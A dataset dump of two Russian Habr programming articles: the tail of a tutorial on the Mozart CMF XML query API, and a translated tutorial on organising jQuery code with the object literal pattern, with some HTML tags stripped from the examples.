> <newt:base>
> <request>
> <set object="user" attr="age" min="20" max="30">
> <get object="brand" />
> set>
> request>
> newt:base>`
Для ограничения возраста Человека мы использовали операторы *min* и *max*. Выставив их объекту user мы вложили внутрь выборку объекта brand. Вложенность связывает условие и выборку, Mozart строит связь между этими двумя объектами через связывающий их объект Телефон (посмотрите, как они связаны на графе выше).
Список людей, пользующихся услугами конкретного оператора:
> `Copy Source | Copy HTML
> <newt:base>
> <request>
> <set object="operator" attr="name" value="Example">
> <get object="user" />
> set>
> request>
> newt:base>`
Здесь мы использовали оператор равенства для выставления параметру name объекта operator конкретного значения. Вложенный объект user будет выбран с учетом условия по оператору. Если посмотреть на граф, то можно увидеть, что Оператор и Человек связаны двумя разными маршрутами. Mozart при построении связей выбирает кратчайший. Подробнее об этом можно почитать в статье "[Архитектура предметной области в CMF/CMS системах](http://habrahabr.ru/blogs/webdev/71279/)".
Список людей, чья фамилия содержит заданную последовательность символов:
> `Copy Source | Copy HTML
> <newt:base>
> <request>
> <set object="user" attr="first\_name" context-attr="Ива">
> <get object="user" />
> set>
> request>
> newt:base>`
*context-attr*, используемый нами в этом примере, указывает подстроку, которая должна содержаться в параметре first\_name объекта Человек. Это своего рода контекстный поиск.
Выше мы упомянули, как Mozart пытается построить связь между несмежными объектами. Углубимся в этот момент немного подробнее. Например, во втором примере, когда мы выбирали Человека по Оператору, мы предположили, что Mozart может строить связь по двум маршрутам (через Прописку или через Регион, как это видно на графе). Если, нам, например, требуется изменить алгоритм Mozart и указать ему, что короткий маршрут нас в конкретной ситуации не устраивает, мы можем использовать оператор *path-exclude* для инструкции *get*, указав список объектов, которые мы точно не хотим включать в связывающие (по аналогии есть оператор *path-include*). Ниже исключим объект Телефон:
> `Copy Source | Copy HTML
> <newt:base>
> <request>
> <set object="operator" attr="name" value="Example">
> <get object="user" path-exclude="phone"/>
> set>
> request>
> newt:base>`
Возможно, у кого-то может возникнуть вопрос об эффективности работы такой системы, которая пытается строить связи сразу по нескольким маршрутам, тратя на это процессорное время и память, а значит тормозя приложение. В этом смысле все решается очень просто: при проектировании схемы объектов нам следует избегать закольцованности. В нашем случае, вполне вероятно, объект Прописка следует пометить в конфигурации базы, как нетранзитный, т.е. такой объект, который является всегда конечным при построении связей.
Поговорим теперь о вложенности одних инструкций *get* и *set* в другие. Рассмотрим 2 примера:
> `Copy Source | Copy HTML
> <newt:base>
> <request>
> <get object="user" >
> <get object="phone">
> <get object="brand"/>
> get>
> get>
> request>
> newt:base>`
и
> `Copy Source | Copy HTML
> <newt:base>
> <request>
> <get object="brand" >
> <get object="phone">
> <get object="user"/>
> get>
> get>
> request>
> newt:base>`
Оба примера оперируют с 3-мя объектами: brand, phone и user, которые связаны.
Первый пример нам выведет всех пользователей, по каждому из них будет выведен список моделей телефона, которые этот человек использует. По каждому телефону будет выведен брэнд телефона. Получится структура:
> `Copy Source | Copy HTML
> <user name="1">
> <phone name="example123">
> <brand name="Super Brand" />
> phone>
> <phone name="345example">
> <brand name="Super Brand" />
> phone>
> <phone name="678example678">
> <brand name="Brand N 1" />
> phone>
> user>
> <user name="2">
> <phone name="example123">
> <brand name="Super Brand" />
> phone>
> user>
> <user name="3">
> <phone name="345example">
> <brand name="Super Brand" />
> phone>
> user>`
Второй пример покажет нам список всех брэндов, по каждому выведет список всех телефонов этого брэнда. А уже внутри каждого телефоны мы получим список людей, который пользуются данной моделью телефона.
> `Copy Source | Copy HTML
> <brand name="Super Brand">
> <phone name="example123">
> <user name="1"/>
> <user name="2"/>
> phone>
> <phone name="345example">
> <user name="1"/>
> <user name="3"/>
> phone>
> brand>
> <brand name="Brand N 1">
> <phone name="678example67">
> <user name="1"/>
> phone>
> brand>`
Если, например, вы захотите по каким-то причинам в первом примере для телефона выводить не его брэнд, а вообще весь список брэндов, для этого можно использовать инструкцию *unset*.
> `Copy Source | Copy HTML
> <newt:base>
> <request>
> <get object="user" >
> <get object="phone">
> <unset object="brand">
> <get object="brand"/>
> unset>
> get>
> get>
> request>
> newt:base>`
Т.е. мы сняли с объекта brand все выше выставленные на него условия, тем самым это просто выборка из объекта всех данных.
Если же мы хотим вывести список всех пользователей, всех моделей и марок телефонов, то просто избавимся от вложенности и напишем инструкции *get* последовательно:
> `Copy Source | Copy HTML
> <newt:base>
> <request>
> <get object="brand" />
> <get object="phone" />
> <get object="user" />
> request>
> newt:base>`
Выше мы говорили о выборке объекта и инструкциях *get*. А что же происходит в ситуации, когда необходимо не выбрать последовательно несколько объектов, а выбрать всего один объект, при этом выставив ограничения по нескольким другим? Вернемся к нашему второму примеру (где выбирался Брэнд, его Телефон и использующий его Человек). Переделаем его в такой:
> `Copy Source | Copy HTML
> <newt:base>
> <request>
> <set object="brand" attr="name" value="Brand N 1">
> <set object="phone" attr="name" value="678example67">
> <get object="user"/>
> set>
> set>
> request>
> newt:base>`
Мы заменили *get* объектов Брэнд и Телефон на *set*, т.е. на выставление ограничения по ним. Структура вложенности осталась прежняя. Тем самым мы указали накопить ограничения для самого последнего по вложенности *get*, который выбирает объект Человек с учетом выше установленных инструкций *set*, в которые он вложен.
В результате мы получим список пользователей, которые пользуются указанными телефонами:
> `Copy Source | Copy HTML
> <user name="1"/>
> <user name="10"/>
> <user name="11"/>`
#### Выводы
Как мы увидели, API системы Mozart имеет очевидную структуру и обладает простотой, которая позволяет оперировать с выборкой данных и их классификацией неискушенным разработчикам. Результат получения данных представляет собой структурированный формат XML, структура которого полностью зависит от ваших запросов. Вы можете добавить в нее некоторую избыточность, можете нет. У вас есть возможность получать такие деревья XML, какие будут удобны не только для последующей обработки в XSLT, но и для обычного визуального восприятия, ведь именно простота разработки проекта является основополагающим при выборе системы разработки.
Терминологическое поле объектов помогает проще понять структуру проекта, связи между его данными. Избавивших от технических терминов, SQL запросов и прочих низкоуровневых тонкостей вы получаете среду, которая очень схожа с окружающим миром, оперируете в ней как в реальном мире.
Для затравки на следующую статью могу привести другие элементы API. Например, отвечает за обработку форм: вывод, получение и обработку данных. ewt:transform> — преобразует одни структуры данных в другие, с его помощью можно создавать инструкции для выше стоящих ньютов, а так же преобразовывать один xml в другой. предназначен для выполнения контроллеров, определенных в веб-приложении. По сути, это один из способов вызывать написанные разработчиком скрипты на каком-либо скриптовом языке. — удобный инструмент для работы с переменными окружения, будь то куки, сессия или пользовательский набор данных, называемых query.
Веб-сайт системы Mozart: [mozartframework.ru](http://www.mozartframework.ru) | https://habr.com/ru/post/88877/ | null | ru | null |
# Использование объектов для красивой структуры кода в JavaScript
#### Вступление
Доброго всем времени суток. Поздравляю вас с праздниками и перехожу к теме.
Когда вы выходите за рамки написания простых фрагментов jQuery и приступаете к разработке более сложных взаимодействий пользователей, ваш код может быстро стать громоздким и трудным для отладки. Эта статья покажет вам начать думать об этих взаимодействий в терминах «частичек поведения» используя паттерн проектирования object literal.
В последние несколько лет, JavaScript библиотеки дали начинающим разработчикам возможность добавлять дополнительные возможности взаимодействия с сайтом. Некоторые из них, например jQuery, имеют синтаксис настолько простой, что люди с нулевым опытом программирования научились быстро добавлять «свистки и колокольчики» на свои страницы. Надо только погуглить плагин, скопировать и вставить несколько десятков строк из пользовательского кода. Результат — клиент впечатлен, и вы добавляете jQuery к вашему резюме.
Но подождите. Допустим, теперь требования изменились. Теперь код, который работал для трех элементов должен работать для десяти. Или ваш код должен быть повторно использован для несколько иного приложения, в котором все идентификаторы разные. Как не потеряться в коде, который является не просто вызовом плагина или парой строчек типа show() и hide()?
#### Знакомимся с Object Literal
Пытаясь найти определение этого термина на русском, я наткнулся на [следующую статью](http://ru.wikipedia.org/wiki/%D0%9B%D0%B8%D1%82%D0%B5%D1%80%D0%B0%D0%BB_(%D0%B8%D0%BD%D1%84%D0%BE%D1%80%D0%BC%D0%B0%D1%82%D0%B8%D0%BA%D0%B0)) из Википедии. Буду признателен, если кто-нибудь поможет мне дать более точное определение.
Паттерн программирования Object Literal это такой способ организации кода, который заставляет вас думать в самом начале о том, что ваш код будет делать и какие части должны быть на месте в для того, чтобы сделать это. Это также неплохое средство, для того чтобы ваш код не «загрязнял глобальное пространство имен», что является хорошей практикой для всех проектов (особенно для больших). Object Literal является также способом инкапсуляции поведения.
> `var myObjectLiteral = {
>
> myBehavior1 : function() {
>
> /\* Какое-нибудь действие \*/
>
> },
>
>
>
> myBehavior2 : function() {
>
> /\* Другое действие \*/
>
> }
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Как искусственно упрощенный пример, приведу кусок jQuery для отображения или скрытия контента при нажатии на элемент списка:
> `$(document).ready(function() {
>
> $('#myFeature li')
>
> .append('')
>
> .each(function() {
>
> $(this).find('div')
>
> .load('foo.php?item=' + $(this).attr('id'));
>
> })
>
> .click(function() {
>
> $(this).find('div').show();
>
> $(this).siblings().find('div').hide();
>
> });
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Достаточно просто. И все же, даже в этом примере есть несколько вещей, которые вы можете захотеть изменить позже — например, способ установления URL для загрузки контента, куда загружать полученный контент и т.д. В представлении Object Literal функции четко отделяет эти аспекты. Это может выглядеть следующим образом:
> `var myFeature = {
>
> config : {
>
> wrapper : '#myFeature',
>
> container : 'div',
>
> urlBase : 'foo.php?item='
>
> },
>
>
>
> init : function(config) {
>
> $.extend(myFeature.config, config);
>
> $(myFeature.config.wrapper).find('li').
>
> each(function() {
>
> myFeature.getContent($(this));
>
> }).
>
> click(function() {
>
> myFeature.showContent($(this));
>
> });
>
> },
>
>
>
> buildUrl : function($li) {
>
> return myFeature.config.urlBase + $li.attr('id');
>
> },
>
>
>
> getContent : function($li) {
>
> $li.append(myFeature.config.container);
>
> var url = myFeature.buildUrl($li);
>
> $li.find(myFeature.config.container).load(url);
>
> },
>
>
>
> showContent : function($li) {
>
> $li.find('div').show();
>
> myFeature.hideContent($li.siblings());
>
> },
>
>
>
> hideContent : function($elements) {
>
> $elements.find('div').hide();
>
> }
>
> };
>
>
>
> $(document).ready(function() { myFeature.init(); });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Так как начальный пример невероятно прост, вариант Object Literal больше по размеру. По правде говоря, метод Object Literal не поможет вам сэкономить строки кода, зато поможет вам избежать головной боли. Используя Object Literal, мы разбили наш код на логические части, для того чтобы легче найти то, что мы, возможно, захотим изменить в будущем. Мы сделали наш код расширяемым, предоставляя возможность передавать в переопределять конфигурацию по умолчанию. Мы также сделали некоторого рода самодокументацию — тепер легче «врубиться» в то, что делает наш кусок кода. По мере того как ваши потребности будут вырастать за пределы этого примера, преимущества Object Literal подхода станут все более очевидными (смотрите ниже).
#### Еще один пример
Наша задача будет заключаться в создании элемента пользовательского интерфейса, представляющий собой контент разделеный на разделы. При нажатии на раздел будет показан список подразделов. Нажав на подраздел в навигационном меню, в области содержимого покажется соответствующий контент. При нажатии на раздел, должен быть показан его первый подраздел. Первый раздел должен быть показан во время загрузки страницы ([вот что должно получиться](http://webschool.ge/obj_lit/)).
##### Шаг 1: HTML структура
Написание хорошего семантического HTML является важнейшим условием для написание хорошего JavaScript кода, так что давайте подумаем как может выглядеть HTML для нашей задачи. HTML должен:
* Быть доступным (и работать) при отключенном JavaScript.
* Обеспечить предсказуемый DOM чтобы подключить JavaScript.
* Помочь избежать лишних id и class -ов.
С учетом этих принципов:
> `<div id="myFeature">
>
> <ul class="sections">
>
> <li>
>
> <h2><a href="/section/1">Section 1a>h2>
>
> <ul>
>
> <li>
>
> <h3><a href="/section/1/content/1">Section 1 Title 1a>h3>
>
> <p>The excerpt content for Content Item 1p>
>
> li>
>
> <li>
>
> <h3><a href="/section/1/content/2">Section 1 Title 2a>h3>
>
> <p>The excerpt content for Content Item 2p>
>
> li>
>
> <li>
>
> <h3><a href="/section/1/content/3">Section 1 Title 3a>h3>
>
> <p>The excerpt content for Content Item 3p>
>
> li>
>
> ul>
>
> li>
>
>
>
> <li>
>
> <h2><a href="/section/2">Section 2a>h2>
>
> <ul>
>
> <li>
>
> <h3><a href="/section/2/content/1">Section 2 Title 1a>h3>
>
> <p>The excerpt content for Content Item 1p>
>
> li>
>
> <li>
>
> <h3><a href="/section/2/content/2">Section 2 Title 2a>h3>
>
> <p>The excerpt content for Content Item 2p>
>
> li>
>
> <li>
>
> <h3><a href="/section/2/content/3">Section 2 Title 3a>h3>
>
> <p>The excerpt content for Content Item 3p>
>
> li>
>
> ul>
>
> li>
>
>
>
> <li>
>
> <h2><a href="/section/3">Section 3a>h2>
>
> <ul>
>
> <li>
>
> <h3><a href="/section/3/content/1">Section 3 Title 1a>h3>
>
> <p>The excerpt content for Content Item 1p>
>
> li>
>
> <li>
>
> <h3><a href="/section/3/content/2">Section 3 Title 2a>h3>
>
> <p>The excerpt content for Content Item 2p>
>
> li>
>
> <li>
>
> <h3><a href="/section/3/content/3">Section 3 Title 3a>h3>
>
> <p>The excerpt content for Content Item 3p>
>
> li>
>
> ul>
>
> li>
>
>
>
> ul>
>
> div>
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Обратите внимание, что мы не включили разметку для отображения навигации по разделу, эти части будут добавлены jQuery, так как они будут работать только с jQuery; пользователи без JavaScript получат просто красивую семантическую разметку. (Если что-нибудь отсюда кажется удивительным или запутанным, то можете погуглить POSH (plain-old semantic HTML) и progressive enhancement).
##### Шаг 2: Подготовка объекта
Моим первым шагом в создании объекта для задачи будет создание «заглушек» для объекта. Заглушки — это заполнители, которые помогают при планировании структуры кода. Наш объект будет иметь следующие методы:
> `var myFeature = {
>
> 'config' : { },
>
> 'init' : function() { },
>
> 'buildSectionNav' : function() { },
>
> 'buildItemNav' : function() { },
>
> 'showSection' : function() { },
>
> 'showContentItem' : function() { }
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Здесь стоит отметить `myFeature.config`, который хранит в одном месте значения по умолчанию. Мы добавим возможность переопределить значения по умолчанию, когда мы определим метод `myFeature.init ()`.
##### Шаг 3: Код
После того как мы построили этот скелет, можно приступать к написанию кода. Давайте начнем с создания простого `myFeature.config` объекта и метода `myFeature.init ()`:
> `'config' : {
>
> // контейнер по умолчанию #myFeature
>
> 'container' : $('#myFeature')
>
> },
>
>
>
> 'init' : function(config) {
>
> // переопределение конфигурации через init()
>
> if (config && typeof(config) == 'object') {
>
> $.extend(myFeature.config, config);
>
> }
>
>
>
> // создание и/или кеширование некоторых элементов DOM
>
> // которые мы будем использовать в нашем коде
>
> myFeature.$container = myFeature.config.container;
>
>
>
> myFeature.$sections = myFeature.$container.
>
> // выбираем только непосредственных потомков
>
> find('ul.sections > li');
>
>
>
> myFeature.$section\_nav = $('')
>
> .attr('id','section\_nav')
>
> .prependTo(myFeature.$container);
>
>
>
> myFeature.$item\_nav = $('')
>
> .attr('id','item\_nav')
>
> .insertAfter(myFeature.$section\_nav);
>
>
>
> myFeature.$content = $('')
>
> .attr('id','content')
>
> . insertAfter(myFeature.$item\_nav);
>
>
>
> // строим навигацию по разделам
>
> // "кликаем" на первый пункт
>
> myFeature.buildSectionNav(myFeature.$sections);
>
> myFeature.$section\_nav.find('li:first').click();
>
>
>
> // скрываем простой HTML
>
> myFeature.$container.find('ul.sections').hide();
>
>
>
> // на всякий случай (вдруг пригодится)
>
> myFeature.initialized = true;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Далее создадим метод `myFeature.buildSectionNav ()`:
> `'buildSectionNav' : function($sections) {
>
>
>
> // пройдемся по разделам
>
> $sections.each(function() {
>
>
>
> var $section = $(this);
>
>
>
> // создаем элемент подраздела
>
> $('-
> ')
>
> // используем первый h2
>
> // в разделе для названия раздела
>
> .text($section.find('h2:first').text())
>
>
>
> // добавляем
>
> .appendTo(myFeature.$section\_nav)
>
>
>
> // используем data() для сохранения ссылки
>
> .data('section', $section)
>
>
>
> // привяжем обработчик click
>
> .click(myFeature.showSection);
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Далее, создадим метод `myFeature.buildItemNav()`:
> `‘buildItemNav’ : function($items) {
>
> $items.each(function() {
>
>
>
> var $item = $(this);
>
>
>
> // Создаем элемент навигации
>
> $('- '
> )
>
>
>
> // используем первый h3
>
> // в разделе для названия подраздела
>
> .text($item.find('h3:first').text())
>
>
>
> // add the list item to the item navigation
>
> .appendTo(myFeature.$item.nav)
>
>
>
> // используем data() для сохранения ссылки
>
> .data('item', $item)
>
>
>
> // привяжем обработчик click
>
> .click(myFeature.showContentItem);
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Наконец, мы напишем методы для отображения разделов и элементов контента:
> `'showSection' : function() {
>
> var $li = $(this);
>
>
>
> // опустошим подменю и зону контента
>
> myFeature.$item\_nav.empty();
>
> myFeature.$content.empty();
>
>
>
> // возьмем данные из объекта jQuery
>
> // которые были сохранены при помощи data() в методе buildSectionNav
>
> var $section = $li.data('section');
>
>
>
> // пометим активный элемент
>
> $li.addClass('current')
>
> .siblings().removeClass('current');
>
>
>
> // найдем все подразделы раздела
>
> var $items = $section.find('ul li');
>
>
>
> // построим подменю
>
> myFeature.buildItemNav($items);
>
>
>
> // "кликнем" на первый пункт подменю
>
> myFeature.$item\_nav.find('li:first').click();
>
>
>
> },
>
>
>
> 'showContentItem' : function() {
>
> var $li = $(this);
>
>
>
> // пометим активный элемент
>
> $li.addClass('current')
>
> .siblings().removeClass('current');
>
>
>
> // возьмем данные из объекта jQuery
>
> // которые были сохранены при помощи data() в методе buildSectionNav
>
> var $item = $li.data('item');
>
>
>
> // Заполним область контента
>
> myFeature.$content.html($item.html());
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Все что осталось сделать это вызвать `myFeature.init()`:
> `$(document).ready(myFeature.init);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вы можете посмотреть на картину целиком [здесь](http://webschool.ge/obj_lit) (+ немного CSS для вида).
##### Шаг 4: Меняем требования
Ни один проект не обходится без изменений требований в последнюю минуту, не так ли? Object Literal подход помогает, сделать необходимые изменения быстро и безболезненно.
Что делать, если нам необходимо получить содержание пункта выдержки с помощью AJAX, а не из HTML? Если не считать настройки бэкэнда:
> `var myFeature = {
>
>
>
> 'config' : {
>
> 'container' : $('#myFeature'),
>
>
>
> // настраиваемая функции для получения
>
> // URL для загрузки содержимого
>
> 'getItemURL' : function($item) {
>
> return $item.find('a:first').attr('href');
>
> }
>
>
>
> },
>
>
>
> 'init' : function(config) {
>
> // то же самое
>
> },
>
>
>
> 'buildSectionNav' : function($sections) {
>
> // то же самое
>
> },
>
>
>
> 'buildItemNav' : function($items) {
>
> // то же самое
>
> },
>
>
>
> 'showSection' : function() {
>
> // то же самое
>
> },
>
>
>
> 'showContentItem' : function() {
>
>
>
> var $li = $(this);
>
>
>
> $li.addClass('current').
>
> siblings().removeClass('current');
>
>
>
> var $item = $li.data('item');
>
> var url = myFeature.config.getItemURL($item);
>
>
>
> // myFeature.$content.html($item.html());
>
> myFeature.$content.load(url);
>
>
>
> }
>
>
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Вам нужно больше гибкости? Здесь много чего можно настроить (и, следовательно, переопределить). Например, вы можете использовать myFeature.config чтобы указать, как найти и обработать текст заголовка для каждого элемента навигации:
> `var myFeature = {
>
> 'config' : {
>
> 'container' : $('#myFeature'),
>
>
>
> 'itemNavSelector' : 'h3',
>
>
>
> 'itemNavProcessor' : function($selection) {
>
> return 'Preview of ' +
>
> $selection.eq(0).text();
>
> }
>
> },
>
>
>
> 'init' : function(config) {
>
> // то же самое
>
> },
>
>
>
> 'buildSectionNav' : function($sections) {
>
> // то же самое
>
> },
>
>
>
> 'buildItemNav' : function($items) {
>
>
>
> $items.each(function() {
>
> var $item = $(this);
>
>
>
> var myText = myFeature.config.itemNavProcessor(
>
> $item.find(myFeature.config.itemNavSelector)
>
> );
>
>
>
> $('-
> ')
>
>
>
> .text(myText)
>
> .appendTo(myFeature.$item\_nav)
>
> .data('item', $item)
>
> .click(myFeature.showContentItem);
>
> });
>
> },
>
>
>
> 'showSection' : function() {
>
> // то же самое
>
> },
>
>
>
> 'showContentItem' : function() {
>
> // то же самое
>
> }
>
>
>
> };
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
После того как вы добавили объект конфигурации по умолчанию, вы можете переопределить его при вызове `myFeature.init ()`
> `$(document).ready(function() {
>
> myFeature.init({ 'itemNavSelector' : 'h2' });
>
> });
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
#### Заключение
Если вы просмотрели примеры кода в этой статье, вы должны иметь общее представление об Object Literal, и как можно использовать этот подход для создания более сложных взаимодействий.
Пример взят [отсюда](http://blog.rebeccamurphey.com/2009/10/15/using-objects-to-organize-your-code).
###### Дополнительная литература
* [Markup-based unobtrusive comprehensive DOM-ready execution](http://paulirish.com/2009/markup-based-unobtrusive-comprehensive-dom-ready-execution/)
* [Show love to the object literal](http://www.wait-till-i.com/2006/02/16/show-love-to-the-object-literal/) | https://habr.com/ru/post/111290/ | null | ru | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.